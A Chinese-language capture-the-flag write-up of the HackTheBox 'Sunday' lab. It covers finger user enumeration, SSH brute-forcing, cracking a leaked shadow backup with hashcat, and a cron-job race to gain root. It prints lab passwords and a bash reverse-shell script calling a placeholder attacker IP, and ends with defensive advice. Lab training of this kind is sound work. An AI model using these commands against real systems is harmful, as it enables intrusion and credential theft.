hack the box之sunday靶场练习
字数 1339 2025-08-11 17:40:32
HackTheBox Sunday靶场渗透测试教学文档
1. 靶场概述
Sunday是HackTheBox上的一个中等难度靶机,涉及以下技术点:
- 服务枚举与识别
- Finger服务利用
- SSH暴力破解
- 特权命令滥用
- 定时任务利用
- 权限提升技术
2. 信息收集阶段
2.1 端口扫描
使用nmap进行端口扫描发现开放以下服务:
- 79/tcp - finger服务(用户信息查询)
- 111/tcp - rpcbind(远程过程调用)
- 515/tcp - printer(打印服务)
- 6787/tcp - ssl服务
- 22022/tcp - SSH服务
2.2 服务探测
6787端口:
- 尝试弱口令、空口令、万能密码均无效
- 目录扫描未发现有价值内容
79端口:
- 运行finger服务(RFC 1288)
- 存在用户名枚举漏洞
3. 外网利用
3.1 用户枚举
使用finger-user-enum工具枚举用户:
finger-user-enum.pl -U /usr/share/wordlists/metasploit/unix_users.txt -t <target_ip>
发现三个有效用户:
- root
- sammy
- sunny
3.2 SSH暴力破解
对sunny用户进行密码爆破,发现密码为"sunday"。
使用SSH连接:
ssh sunny@<target_ip> -p 22022
4. 内网信息收集
4.1 权限检查
检查sudo权限:
sudo -l
4.2 特权命令发现
发现/root/troll命令可以免密执行root权限命令:
sudo /root/troll
4.3 备份文件分析
在backup目录中发现shadow.backup文件:
cat /backup/shadow.backup
包含两个用户hash:
- root:\(6\)...
- sammy:\(6\)...
5. 密码破解
使用hashcat破解sammy用户hash:
hashcat -m 1800 -a 0 hash.txt rockyou.txt
获得密码:"cooldude!"
切换用户:
su sammy
6. 权限提升
6.1 特权命令分析
sammy用户可以免密执行以下root命令:
sudo /root/troll
6.2 提权尝试
- 尝试替换/root/troll为反弹shell脚本失败
- 发现存在定时任务定期恢复troll文件
解决方案:
- 创建包含sleep的脚本延迟执行
- 在sleep期间手动替换troll文件
反弹shell脚本示例:
#!/bin/bash
sleep 10
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1
执行流程:
- 上传脚本
- 执行sudo /root/troll
- 快速替换/root/troll为反弹shell脚本
- 等待连接
6.3 获取root权限
成功获取root shell后查看flag:
cat /root/root.txt
7. 技术总结
- Finger服务利用:古老的finger服务常存在用户枚举漏洞
- 弱密码利用:对枚举出的用户进行密码爆破
- 备份文件泄露:检查常见备份目录和文件
- 特权命令滥用:分析sudo权限和可执行文件
- 定时任务竞争:利用时间差绕过文件恢复机制
8. 防御建议
- 禁用不必要的古老服务(如finger)
- 使用强密码策略
- 限制备份文件的访问权限
- 严格控制sudo权限
- 对特权命令实施完整性检查
- 使用文件监控防止关键文件被篡改
9. 工具清单
- nmap - 端口扫描
- finger-user-enum - finger服务用户枚举
- hydra/medusa - SSH暴力破解
- hashcat - 密码hash破解
- netcat - 反弹shell监听
10. 扩展练习
- 尝试通过515打印服务获取入口
- 探索6787端口的其他利用方式
- 研究rpcbind服务的安全隐患
- 开发自动化脚本完成整个渗透流程